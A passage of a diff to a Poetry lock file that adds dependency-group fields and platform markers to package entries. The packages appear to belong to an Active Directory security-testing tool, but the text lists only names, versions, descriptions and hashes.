"sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"}, ] [package.extras] -dev = ["aiounittest (==1.4.1)", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"] -docs = ["sphinx (==6.1.3)", "sphinx-mdinclude (==0.5.3)"] +dev = ["aiounittest (==1.4.1) ; python_version < \"3.8\"", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"] +docs = ["sphinx (==6.1.3) ; python_version >= \"3.8\"", "sphinx-mdinclude (==0.5.3)"] [[package]] name = "aiowinreg" @@ -99,6 +104,7 @@ version = "0.0.12" description = "Windows registry file reader" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "aiowinreg-0.0.12-py3-none-any.whl", hash = "sha256:a67be904045d8ecb4798fa691dd7688b20a6e47a524d093528f7e77d9eaf00e9"}, ] @@ -113,6 +119,7 @@ version = "0.4.0" description = "A small and insanely fast ARCFOUR (RC4) cipher implementation of Python" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "arc4-0.4.0-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:d27d6cb7fef8787c3cb91c06a6adb2315551f42af3b4142d45703d5303e6ad2b"}, {file = "arc4-0.4.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f20540dd6ab695e6d1205a5edb4df416688ef39242cbbec4ad0b534e38ffe55f"}, @@ -147,6 +154,7 @@ version = "3.5.1" description = "Bash tab completion for argparse" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "argcomplete-3.5.1-py3-none-any.whl", hash = "sha256:1a1d148bdaa3e3b93454900163403df41448a248af01b6e849edc5ac08e6c363"}, {file = "argcomplete-3.5.1.tar.gz", hash = "sha256:eb1ee355aa2557bd3d0145de7b06b2a45b0ce461e1e7813f5d066039ab4177b4"}, @@ -161,6 +169,7 @@ version = "1.5.1" description = "Fast ASN.1 parser and serializer with definitions for private keys, public keys, certificates, CRL, OCSP, CMS, PKCS#3, PKCS#7, PKCS#8, PKCS#12, PKCS#5, X.509 and TSP" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "asn1crypto-1.5.1-py2.py3-none-any.whl", hash = "sha256:db4e40728b728508912cbb3d44f19ce188f218e9eba635821bb4b68564f8fd67"}, {file = "asn1crypto-1.5.1.tar.gz", hash = "sha256:13ae38502be632115abf8a24cbe5f4da52e3b5231990aff31123c805306ccb9c"}, @@ -172,6 +181,7 @@ version = "0.167.0" description = "ASN.1 parsing, encoding and decoding." optional = false python-versions = "*" +groups = ["main"] files = [ {file = "asn1tools-0.167.0.tar.gz", hash = "sha256:cad53f6f6d788a6eec5e37543401cd8c39f138cc8016b64629ec29fb4735f5b2"}, ] @@ -190,6 +200,7 @@ version = "0.0.21" description = "Unified authentication library" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "asyauth-0.0.21-py3-none-any.whl", hash = "sha256:1098ced8f4dfda74db535bc961e7667714154a440761821e26c8b637c95a2775"}, {file = "asyauth-0.0.21.tar.gz", hash = "sha256:34cc10c5f8628ff2e25b5116dc98efc5ca45532f163ccd3f9147a3e02dd810eb"}, @@ -207,6 +218,7 @@ version = "0.2.13" description = "" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "asysocks-0.2.13-py3-none-any.whl", hash = "sha256:e32f478eac58566162d3e5af02ed6b6625317d9ddf83af22109bd13a24ef721a"}, {file = "asysocks-0.2.13.tar.gz", hash = "sha256:44185b2c471e63b7293173967eef3b0f5e60ed5cc1b7650a30a9569e49ff25f8"}, @@ -223,6 +235,7 @@ version = "4.2.0" description = "Modern password hashing for your software and your servers" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "bcrypt-4.2.0-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:096a15d26ed6ce37a14c1ac1e48119660f21b24cba457f160a4b830f3fe6b5cb"}, {file = "bcrypt-4.2.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c02d944ca89d9b1922ceb8a46460dd17df1ba37ab66feac4870f6862a1533c00"}, @@ -263,6 +276,7 @@ version = "4.12.3" description = "Screen-scraping library" optional = false python-versions = ">=3.6.0" +groups = ["main"] files = [ {file = "beautifulsoup4-4.12.3-py3-none-any.whl", hash = "sha256:b80878c9f40111313e55da8ba20bdba06d8fa3969fc68304167741bbf9e082ed"}, {file = "beautifulsoup4-4.12.3.tar.gz", hash = "sha256:74e3d1928edc070d21748185c46e3fb33490f22f52a3addee9aee0f4f7781051"}, @@ -284,6 +298,7 @@ version = "8.19.0" description = "This module performs conversions between Python values and C bit field structs represented as Python byte strings." optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "bitstruct-8.19.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7d1f3eb18ddc33ba73f5cbb55c885584bcec51c421ac3551b79edc0ffeaecc3d"}, {file = "bitstruct-8.19.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a35e0b267d12438e6a7b28850a15d4cffe767db6fc443a406d0ead97fa1d7d5b"}, @@ -336,6 +351,7 @@ version = "1.8.2" description = "Fast, simple object-to-object and broadcast signaling" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "blinker-1.8.2-py3-none-any.whl", hash = "sha256:1779309f71bf239144b9399d06ae925637cf6634cf6bd131104184531bf67c01"}, {file = "blinker-1.8.2.tar.gz", hash = "sha256:8f77b09d3bf7c795e969e9486f39c2c5e9c39d4ee07424be2bc594ece9642d83"}, @@ -347,6 +363,7 @@ version = "1.8.0" description = "Python based ingestor for BloodHound" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "bloodhound-1.8.0-py3-none-any.whl", hash = "sha256:97dcef77fa38dbab7219909c117eb9fd7263aff107cee0bf6fc7a0d0db9a61ac"}, {file = "bloodhound-1.8.0.tar.gz", hash = "sha256:35ed0f1fdda2b1d79a4e9d891cabe2c55309a32743aeed16d885f3d809f409b3"}, @@ -365,6 +382,7 @@ version = "0.0.2" description = "Dummy package for Beautiful Soup (beautifulsoup4)" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "bs4-0.0.2-py2.py3-none-any.whl", hash = "sha256:abf8742c0805ef7f662dce4b51cca104cffe52b835238afc169142ab9b3fbccc"}, {file = "bs4-0.0.2.tar.gz", hash = "sha256:a48685c58f50fe127722417bae83fe6badf500d54b55f7e39ffe43b798653925"}, @@ -379,6 +397,7 @@ version = "2024.8.30" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "certifi-2024.8.30-py3-none-any.whl", hash = "sha256:922820b53db7a7257ffbda3f597266d435245903d80737e34f8a45ff3e3230d8"}, {file = "certifi-2024.8.30.tar.gz", hash = "sha256:bec941d2aa8195e248a60b31ff9f0558284cf01a52591ceda73ea9afffd69fd9"}, @@ -390,6 +409,7 @@ version = "1.17.1" description = "Foreign Function Interface for Python calling C code." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, @@ -469,6 +489,7 @@ version = "3.4.0" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7.0" +groups = ["main"] files = [ {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4f9fc98dad6c2eaa32fc3af1417d95b5e3d08aff968df0cd320066def971f9a6"}, {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0de7b687289d3c1b3e8660d0741874abe7888100efe14bd0f9fd7141bcbda92b"}, @@ -583,6 +604,7 @@ version = "8.1.7" description = "Composable command line interface toolkit" optional = false python-versions = ">=3.7" +groups = ["main", "dev"] files = [ {file = "click-8.1.7-py3-none-any.whl", hash = "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28"}, {file = "click-8.1.7.tar.gz", hash = "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de"}, @@ -597,10 +619,12 @@ version = "0.4.6" description = "Cross-platform colored terminal text." optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main", "dev"] files = [ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, ] +markers = {dev = "platform_system == \"Windows\" or sys_platform == \"win32\""} [[package]] name = "cryptography" @@ -608,6 +632,7 @@ version = "42.0.8" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e"}, {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:961e61cefdcb06e0c6d7e3a1b22ebe8b996eb2bf50614e89384be54c48c6b63d"}, @@ -662,6 +687,7 @@ version = "2.7.0" description = "DNS toolkit" optional = false python-versions = ">=3.9" +groups = ["main"] files = [ {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, @@ -682,6 +708,7 @@ version = "3.1.0" description = "DPAPI looting remotely in Python" optional = false python-versions = "<4.0.0,>=3.10.0" +groups = ["main"] files = [ {file = "dploot-3.1.0-py3-none-any.whl", hash = "sha256:9fb89c4332f407700929290f147703c79e253d14a505649174c9d761415fddfe"}, {file = "dploot-3.1.0.tar.gz", hash = "sha256:0e531a12481b0c741be41574988f2a8d3046a66457edb3faecc64ee20f88d6e2"}, @@ -699,6 +726,7 @@ version = "1.2.4" description = "" optional = false python-versions = ">=3.4" +groups = ["main"] files = [ {file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"}, ] @@ -709,6 +737,7 @@ version = "1.22.0" description = "Dynamic version generation" optional = false python-versions = ">=3.5" +groups = ["main"] files = [ {file = "dunamai-1.22.0-py3-none-any.whl", hash = "sha256:eab3894b31e145bd028a74b13491c57db01986a7510482c9b5fff3b4e53d77b7"}, {file = "dunamai-1.22.0.tar.gz", hash = "sha256:375a0b21309336f0d8b6bbaea3e038c36f462318c68795166e31f9873fdad676"}, @@ -723,6 +752,8 @@ version = "1.2.2" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" +groups = ["dev"] +markers = "python_version < \"3.11\"" files = [ {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, @@ -737,6 +768,7 @@ version = "7.1.1" description = "the modular source code checker: pep8 pyflakes and co" optional = false python-versions = ">=3.8.1" +groups = ["dev"] files = [ {file = "flake8-7.1.1-py2.py3-none-any.whl", hash = "sha256:597477df7860daa5aa0fdd84bf5208a043ab96b8e96ab708770ae0364dd03213"}, {file = "flake8-7.1.1.tar.gz", hash = "sha256:049d058491e228e03e67b390f311bbf88fce2dbaa8fa673e7aea87b7198b8d38"}, @@ -753,6 +785,7 @@ version = "3.0.3" description = "A simple framework for building complex web applications." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "flask-3.0.3-py3-none-any.whl", hash = "sha256:34e815dfaa43340d1d15a5c3a02b8476004037eb4840b34910c6e21679d288f3"}, {file = "flask-3.0.3.tar.gz", hash = "sha256:ceb27b0af3823ea2737928a4d99d125a06175b8512c445cbd9a9ce200ef76842"}, @@ -775,6 +808,7 @@ version = "1.0.0" description = "Clean single-source support for Python 3 and 2" optional = false python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +groups = ["main"] files = [ {file = "future-1.0.0-py3-none-any.whl", hash = "sha256:929292d34f5872e70396626ef385ec22355a1fae8ad29e1a734c3e43f9fbc216"}, {file = "future-1.0.0.tar.gz", hash = "sha256:bd2968309307861edae1458a4f8a4f3598c03be43b97521076aebf5d94c07b05"}, @@ -786,6 +820,8 @@ version = "3.1.1" description = "Lightweight in-process concurrent programming" optional = false python-versions = ">=3.7" +groups = ["main"] +markers = "python_version < \"3.13\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")" files = [ {file = "greenlet-3.1.1-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:0bbae94a29c9e5c7e4a2b7f0aae5c17e8e90acbfd3bf6270eeba60c39fce3563"}, {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fde093fb93f35ca72a556cf72c92ea3ebfda3d79fc35bb19fbe685853869a83"}, @@ -872,6 +908,7 @@ version = "0.14.0" description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, @@ -883,6 +920,7 @@ version = "3.10" description = "Internationalized Domain Names in Applications (IDNA)" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, @@ -897,6 +935,7 @@ version = "0.13.0.dev0+20250220.93348.6315ebd5" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" +groups = ["main"] files = [] develop = false @@ -925,6 +964,7 @@ version = "2.0.0" description = "brain-dead simple config-ini parsing" optional = false python-versions = ">=3.7" +groups = ["dev"] files = [ {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, @@ -936,6 +976,7 @@ version = "2.2.0" description = "Safely pass data to untrusted environments and back." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef"}, {file = "itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173"}, @@ -947,6 +988,7 @@ version = "3.1.4" description = "A very fast and expressive template engine." optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "jinja2-3.1.4-py3-none-any.whl", hash = "sha256:bc5dd2abb727a5319567b7a813e6a2e7318c39f4f487cfe6c89c6f9c7d25197d"}, {file = "jinja2-3.1.4.tar.gz", hash = "sha256:4a3aee7acbbe7303aede8e9648d13b8bf88a429282aa6122a993f0ac800cb369"}, @@ -964,6 +1006,7 @@ version = "1.3.1" description = "JSON Web Token library for Python 3." optional = false python-versions = ">= 3.6" +groups = ["main"] files = [ {file = "jwt-1.3.1-py3-none-any.whl", hash = "sha256:61c9170f92e736b530655e75374681d4fcca9cfa8763ab42be57353b2b203494"}, ] @@ -977,6 +1020,7 @@ version = "2.9.1" description = "A strictly RFC 4510 conforming LDAP V3 pure Python client library" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"}, {file = "ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"}, @@ -991,6 +1035,7 @@ version = "0.9.4" description = "Active Directory information dumper via LDAP" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "ldapdomaindump-0.9.4-py2-none-any.whl", hash = "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f"}, {file = "ldapdomaindump-0.9.4-py3-none-any.whl", hash = "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa"}, @@ -1008,6 +1053,7 @@ version = "3.1.12" description = "Python library to extract credentials from lsass remotely" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "lsassy-3.1.12-py3-none-any.whl", hash = "sha256:90ceffe3345f6ed6d7c401827572f52486a897ceeb83131582c44f502840eff2"}, {file = "lsassy-3.1.12.tar.gz", hash = "sha256:ed4e53334a954963776a2df2e9510a5fec36434061ea806d89b4ec90912f014b"}, @@ -1025,6 +1071,7 @@ version = "5.3.0" description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:dd36439be765e2dde7660212b5275641edbc813e7b24668831a5c8ac91180656"}, {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ae5fe5c4b525aa82b8076c1a59d642c17b6e8739ecf852522c6321852178119d"}, @@ -1179,6 +1226,7 @@ version = "3.0.0" description = "Python port of markdown-it. Markdown parsing, done right!" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, @@ -1203,6 +1251,7 @@ version = "3.0.1" description = "Safely add untrusted strings to HTML/XML markup." optional = false python-versions = ">=3.9" +groups = ["main"] files = [ {file = "MarkupSafe-3.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:db842712984e91707437461930e6011e60b39136c7331e971952bb30465bc1a1"}, {file = "MarkupSafe-3.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3ffb4a8e7d46ed96ae48805746755fadd0909fea2306f93d5d8233ba23dda12a"}, @@ -1273,6 +1322,7 @@ version = "0.2.0" description = "Python library with CLI allowing to remotely dump domain user credentials via an ADCS" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "masky-0.2.0-py3-none-any.whl", hash = "sha256:04f29988e659bd265bf393c833ee473cfd16bf8a32ffdeaacfbefe8f466f53ab"}, {file = "masky-0.2.0.tar.gz", hash = "sha256:fc0a99086da54e1cf91bb5e9c809aa311ea1519f10a3b6faf6d8e0a47c471ec9"}, @@ -1291,6 +1341,7 @@ version = "0.7.0" description = "McCabe checker, plugin for flake8" optional = false python-versions = ">=3.6" +groups = ["dev"] files = [ {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, @@ -1302,6 +1353,7 @@ version = "0.1.2" description = "Markdown URL utilities" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, @@ -1313,6 +1365,7 @@ version = "0.0.24" description = "Python library to parse Windows minidump file format" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "minidump-0.0.24-py3-none-any.whl", hash = "sha256:9c016e35c8fe37c82a01b0a266f5416a0b0138934d92affb436ac2e72372bec6"}, {file = "minidump-0.0.24.tar.gz", hash = "sha256:f7ae09b944f3b17ccf5cecc66f9ff5a7a45b053474a13aeb012f4c9204470437"}, @@ -1324,6 +1377,7 @@ version = "0.4.4" description = "Kerberos manipulation library in pure Python" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "minikerberos-0.4.4-py3-none-any.whl", hash = "sha256:f51d4283cfd318e89242dd2b467b99dc8a99ddad4fcf099367afeb1e54b7cf93"}, {file = "minikerberos-0.4.4.tar.gz", hash = "sha256:1b07861c6c4038b66a3a755dcceb70d31bafb2b2ac681d607f5c59fd6b8547bc"}, @@ -1343,6 +1397,7 @@ version = "1.1.0" description = "MessagePack serializer" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "msgpack-1.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7ad442d527a7e358a469faf43fda45aaf4ac3249c8310a82f0ccff9164e5dccd"}, {file = "msgpack-1.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:74bed8f63f8f14d75eec75cf3d04ad581da6b914001b474a5d3cd3372c8cc27d"}, @@ -1416,6 +1471,7 @@ version = "0.5.12" description = "Python library to play with MS LDAP" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "msldap-0.5.12-py3-none-any.whl", hash = "sha256:8569324aa1fe3ce5312f58dd27f2dc4357b0dfd9cd450f2efd27e6b54ace3bd0"}, {file = "msldap-0.5.12.tar.gz", hash = "sha256:44a2a3d2850f925e50b6b82d4515c74ceea548b7c1fc4d3d0d3f6df65a0cc540"}, @@ -1438,6 +1494,7 @@ version = "5.25.0" description = "Neo4j Bolt driver for Python" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "neo4j-5.25.0-py3-none-any.whl", hash = "sha256:df310eee9a4f9749fb32bb9f1aa68711ac417b7eba3e42faefd6848038345ffa"}, {file = "neo4j-5.25.0.tar.gz", hash = "sha256:7c82001c45319092cc0b5df4c92894553b7ab97bd4f59655156fa9acab83aec9"}, @@ -1457,6 +1514,7 @@ version = "1.3.0" description = "A network address manipulation library for Python" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "netaddr-1.3.0-py3-none-any.whl", hash = "sha256:c2c6a8ebe5554ce33b7d5b3a306b71bbb373e000bbbf2350dd5213cc56e3dbbe"}, {file = "netaddr-1.3.0.tar.gz", hash = "sha256:5c3c3d9895b551b763779ba7db7a03487dc1f8e3b385af819af341ae9ef6e48a"}, @@ -1471,6 +1529,7 @@ version = "1.3.0" description = "TLS (SSL) sockets, key generation, encryption, decryption, signing, verification and KDFs using the OS crypto libraries. Does not require a compiler, and relies on the OS for patching. Works on Windows, OS X and Linux/BSD." optional = false python-versions = "*" +groups = ["main"] files = [] develop = false @@ -1489,6 +1548,7 @@ version = "24.1" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" +groups = ["main", "dev"] files = [ {file = "packaging-24.1-py3-none-any.whl", hash = "sha256:5b8f2217dbdbd2f7f384c41c628544e6d52f2d0f53c6d0c3ea61aa5d1d7ff124"}, {file = "packaging-24.1.tar.gz", hash = "sha256:026ed72c8ed3fcce5bf8950572258698927fd1dbda10a5e981cdf0ac37f4f002"}, @@ -1500,6 +1560,7 @@ version = "3.5.0" description = "SSH2 protocol library" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "paramiko-3.5.0-py3-none-any.whl", hash = "sha256:1fedf06b085359051cd7d0d270cebe19e755a8a921cc2ddbfa647fb0cd7d68f9"}, {file = "paramiko-3.5.0.tar.gz", hash = "sha256:ad11e540da4f55cedda52931f1a3f812a8238a7af7f62a60de538cd80bb28124"}, @@ -1511,8 +1572,8 @@ cryptography = ">=3.3" pynacl = ">=1.5" [package.extras] -all = ["gssapi (>=1.4.1)", "invoke (>=2.0)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"] -gssapi = ["gssapi (>=1.4.1)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"] +all = ["gssapi (>=1.4.1) ; platform_system != \"Windows\"", "invoke (>=2.0)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8) ; platform_system == \"Windows\""] +gssapi = ["gssapi (>=1.4.1) ; platform_system != \"Windows\"", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8) ; platform_system == \"Windows\""] invoke = ["invoke (>=2.0)"] [[package]] @@ -1521,6 +1582,7 @@ version = "11.0.0" description = "Python Imaging Library (Fork)" optional = false python-versions = ">=3.9" +groups = ["main"] files = [ {file = "pillow-11.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6619654954dc4936fcff82db8eb6401d3159ec6be81e33c6000dfd76ae189947"}, {file = "pillow-11.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b3c5ac4bed7519088103d9450a1107f76308ecf91d6dabc8a33a2fcfb18d0fba"}, @@ -1604,7 +1666,7 @@ docs = ["furo", "olefile", "sphinx (>=8.1)", "sphinx-copybutton", "sphinx-inline fpx = ["olefile"] mic = ["olefile"] tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] -typing = ["typing-extensions"] +typing = ["typing-extensions ; python_version < \"3.10\""] xmp = ["defusedxml"] [[package]] @@ -1613,6 +1675,7 @@ version = "24.2" description = "The PyPA recommended tool for installing Python packages." optional = false python-versions = ">=3.8" +groups = ["dev"] files = [ {file = "pip-24.2-py3-none-any.whl", hash = "sha256:2cd581cf58ab7fcfca4ce8efa6dcacd0de5bf8d0a3eb9ec927e07405f4d9e2a2"}, {file = "pip-24.2.tar.gz", hash = "sha256:5b5e490b5e9cb275c879595064adce9ebd31b854e3e803740b72f9ccf34a45b8"}, @@ -1624,6 +1687,7 @@ version = "1.5.0" description = "plugin and hook calling mechanisms for python" optional = false python-versions = ">=3.8" +groups = ["dev"] files = [ {file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"}, {file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"}, @@ -1639,6 +1703,7 @@ version = "1.4.1" description = "Plugin for Poetry to enable dynamic versioning based on VCS tags" optional = false python-versions = "<4.0,>=3.7" +groups = ["main"] files = [ {file = "poetry_dynamic_versioning-1.4.1-py3-none-any.whl", hash = "sha256:44866ccbf869849d32baed4fc5fadf97f786180d8efa1719c88bf17a471bd663"}, {file = "poetry_dynamic_versioning-1.4.1.tar.gz", hash = "sha256:21584d21ca405aa7d83d23d38372e3c11da664a8742995bdd517577e8676d0e1"}, @@ -1658,6 +1723,7 @@ version = "3.0.48" description = "Library for building powerful interactive command lines in Python" optional = false python-versions = ">=3.7.0" +groups = ["main"] files = [ {file = "prompt_toolkit-3.0.48-py3-none-any.whl", hash = "sha256:f49a827f90062e411f1ce1f854f2aedb3c23353244f8108b89283587397ac10e"}, {file = "prompt_toolkit-3.0.48.tar.gz", hash = "sha256:d6623ab0477a80df74e646bdbc93621143f5caf104206aa29294d53de1a03d90"}, @@ -1672,6 +1738,7 @@ version = "0.4.8" description = "ASN.1 types and codecs" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "pyasn1-0.4.8-py2.py3-none-any.whl", hash = "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d"}, {file = "pyasn1-0.4.8.tar.gz", hash = "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba"}, @@ -1683,6 +1750,7 @@ version = "0.3.0" description = "A collection of ASN.1-based protocols modules" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +groups = ["main"] files = [ {file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"}, {file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"}, @@ -1697,6 +1765,7 @@ version = 